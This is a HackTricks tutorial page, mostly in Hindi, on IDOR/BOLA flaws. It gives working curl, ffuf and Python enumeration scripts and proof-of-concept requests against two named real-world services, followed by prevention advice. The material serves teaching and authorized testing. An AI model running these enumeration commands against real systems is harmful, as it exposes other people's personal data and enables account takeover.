IDOR (Insecure Direct Object Reference)

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) तब उत्पन्न होता है जब कोई web या API endpoint एक user–controllable identifier प्रकट करता है या स्वीकार करता है, जिसे किसी internal object तक पहुँचने के लिए सीधे उपयोग किया जाता है बिना यह सत्यापित किए कि caller को उस object को एक्सेस/modify करने का अधिकार है। सफल exploitation सामान्यतः horizontal या vertical privilege-escalation की अनुमति देती है, जैसे कि अन्य users के डेटा को पढ़ना या बदलना, और सबसे बुरे मामले में पूरा account takeover या mass-data exfiltration हो सकता है।

1. Identifying Potential IDORs

  1. ऐसे parameters देखें जो किसी object का संदर्भ देते हैं:
  • Path: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Headers / Cookies: X-Client-ID: 4711
  1. ऐसे endpoints को प्राथमिकता दें जो डेटा को पढ़ते या अपडेट करते हैं (GET, PUT, PATCH, DELETE)।
  2. तब ध्यान दें जब identifiers क्रमिक या अनुमान लगाने योग्य (sequential or predictable) हों – अगर आपका ID 64185742 है, तो 64185741 संभवतः मौजूद होगा।
  3. छिपे हुए या वैकल्पिक flows (जैसे login पेजों में “Paradox team members” लिंक) एक्सप्लोर करें जो अतिरिक्त APIs प्रकट कर सकते हैं।
  4. एक authenticated low-privilege session का उपयोग करें और केवल ID बदलें वही token/cookie रखते हुए। authorization error का अभाव सामान्यतः IDOR का संकेत होता है।

त्वरित मैन्युअल छेड़छाड़ (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

स्वचालित enumeration (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

अनुमान योग्य डाउनलोड IDs को सूचीबद्ध करना (ffuf)

प्रमाणीकृत file-hosting पैनल अक्सर प्रति-उपयोगकर्ता मेटाडेटा को एक ही files table में संग्रहीत करते हैं और /download.php?id=<int> जैसे download endpoint को एक्सपोज़ करते हैं। यदि हैंडलर केवल यह जांचता है कि ID मौजूद है या नहीं (और यह नहीं कि वह प्रमाणीकृत उपयोगकर्ता का है या नहीं), तो आप अपने वैध session cookie के साथ integer स्पेस को sweep करके अन्य tenants के backups/configs चुरा सकते हैं:

ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json    # fetch surviving IDs such as company backups or signing keys
  • -fr 404-style टेम्पलेट्स हटा देता है ताकि केवल असली परिणाम ही बचे (उदा., IDs 54/150 leaking full site backups और signing material).
  • The same FFUF workflow works with Burp Intruder or a curl loop—just ensure you stay authenticated while incrementing IDs.

प्रमाणीकृत संयोजनात्मक सूचीकरण (ffuf + jq)

कुछ IDORs multiple object IDs स्वीकार करते हैं (उदा., दो users के बीच chat threads)। अगर ऐप केवल यह जांचता है कि आप logged in हैं, तो आप session cookie रखते हुए दोनों IDs को fuzz कर सकते हैं:

ffuf -u 'http://target/chat.php?chat_users[0]=NUM1&chat_users[1]=NUM2' \
-w <(seq 1 62):NUM1 -w <(seq 1 62):NUM2 \
-H 'Cookie: PHPSESSID=<session>' \
-ac -o chats.json -of json

फिर, jq के साथ JSON आउटपुट को पोस्ट-प्रोसेस करें ताकि सममित डुप्लिकेट्स (A,B) बनाम (B,A) हटा दिए जाएँ और केवल अद्वितीय जोड़े रखें:

jq -r '.results[] | select((.input.NUM1|tonumber) < (.input.NUM2|tonumber)) | .url' chats.json

Error-response oracle for user/file enumeration

जब कोई download endpoint दोनों username और filename स्वीकार करता है (उदा. /view.php?username=<u>&file=<f>), त्रुटि संदेशों में सूक्ष्म अंतर अक्सर एक oracle बना देते हैं:

  • username मौजूद नहीं है → “User not found”
  • filename गलत लेकिन extension वैध → “File does not exist” (कभी-कभी उपलब्ध फाइलें भी सूचीबद्ध करता है)
  • extension गलत → validation error

किसी भी authenticated session के साथ, आप benign filename रखते हुए username parameter को fuzz कर सकते हैं और “user not found” स्ट्रिंग पर filter करके वैध users की खोज कर सकते हैं:

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

एक बार valid usernames की पहचान हो जाने पर, सीधे specific files को request करें (उदा., /view.php?username=amanda&file=privacy.odt)। यह पैटर्न अक्सर अन्य उपयोगकर्ताओं के documents का अनाधिकृत खुलासा और credentials का leak होने का कारण बनता है।

2. वास्तविक-विश्व केस स्टडी – McHire Chatbot Platform (2025)

Paradox.ai-powered McHire recruitment portal के assessment के दौरान निम्नलिखित IDOR खोजी गई:

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: user session cookie for any restaurant test account
  • Body parameter: {"lead_id": N} – 8-अंकीय, sequential संख्यात्मक पहचानकर्ता

lead_id घटाकर tester ने arbitrary applicants का full PII (name, e-mail, phone, address, shift preferences) और एक consumer JWT प्राप्त किया जिसने session hijacking की अनुमति दी। 1 – 64,185,742 रेंज का enumeration करके लगभग 64 million रिकॉर्ड्स उजागर हुए।

Proof-of-Concept request:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

Combined with default admin credentials (123456:123456) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.

केस स्टडी – रिस्टबैंड QR कोड को कमजोर bearer tokens के रूप में (2025–2026)

Flow: प्रदर्शनी के आगंतुकों को QR-कोडेड रिस्टबैंड दिए गए; https://homeofcarlsberg.com/memories/ स्कैन करने पर ब्राउज़र printed wristband ID लेता, उसे hex-encode करता और स्टोर की गई मीडिया (photos/videos + names) प्राप्त करने के लिए cloudfunctions.net backend को कॉल करता। वहां no session binding या user authentication मौजूद नहीं था—knowledge of the ID = authorization।

Predictability: रिस्टबैंड IDs एक संक्षिप्त पैटर्न का पालन करते थे, जैसे C-285-100 → ASCII hex 432d3238352d313030 (43 2d 32 38 35 2d 31 30 30). संभावित संयोजनों की संख्या ~26M आंकी गई थी, जिसे ऑनलाइन आसानी से खत्म किया जा सकता था।

Exploitation workflow with Burp Intruder:

  1. Payload generation: उम्मीदवार IDs बनाएँ (उदा., [A-Z]-###-###). Burp Intruder की Pitchfork या Cluster Bomb attack का उपयोग करें, जहाँ letter और digits के लिए positions हों। एक payload processing rule → Add prefix/suffix → payload encoding: ASCII hex जोड़ें ताकि हर request backend द्वारा अपेक्षित hex string भेजे।
  2. Response grep: Intruder में उन मार्करों के लिए grep-match सेट करें जो केवल वैध responses में मौजूद होते हैं (उदा., media URLs/JSON fields)। Invalid IDs आम तौर पर खाली array/404 लौटाते थे।
  3. Throughput measurement: लगभग 1,000,000 IDs ~2 घंटे में एक लैपटॉप से टेस्ट किए गए (~139 req/s)। इस दर से पूरा keyspace (~26M) ~52 घंटों में गिर जाएगा। सैंपल रन ने पहले से ही ~500 वैध रिस्टबैंड (videos + full names) उजागर कर दिए थे।
  4. Rate-limiting verification: विक्रेता द्वारा throttling का दावा करने के बाद वही Intruder config फिर से चलाएँ। समान throughput/hit-rate से साबित हुआ कि नियंत्रण अनुपस्थित/अप्रभावी था; enumeration बिना रोके जारी रही।

Quick scriptable variant (client-side hex encoding):

import requests

def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)

for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())

सबक: Encoding (ASCII→hex/Base64) does not add entropy; short IDs become bearer tokens that are enumerable despite cosmetic encoding. Without per-user authorization + high-entropy secrets, media/PII can be bulk-harvested even if “rate limiting” is claimed.

3. IDOR / BOLA का प्रभाव

  • Horizontal escalation – पढ़ने/अपडेट/डिलीट करने की क्षमता दूसरों के डेटा पर (**) अन्य उपयोगकर्ताओं का डेटा।
  • Vertical escalation – low privileged user को admin-only functionality मिल जाना।
  • Mass-data breach if identifiers are sequential (e.g., applicant IDs, invoices).
  • Account takeover by stealing tokens or resetting passwords of other users.

4. रोकथाम & सर्वोत्तम प्रथाएँ

  1. प्रत्येक अनुरोध पर object-level authorization लागू करें (user_id == session.user).
  2. auto-increment IDs के बजाय indirect, unguessable identifiers (UUIDv4, ULID) को प्राथमिकता दें।
  3. authorization को server-side पर करें, hidden form fields या UI controls पर भरोसा न करें।
  4. एक केंद्रीय middleware में RBAC / ABAC चेक्स लागू करें।
  5. ID enumeration का पता लगाने के लिए rate-limiting & logging जोड़ें।
  6. हर नए endpoint का security परीक्षण करें (unit, integration, and DAST).

5. टूलिंग

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें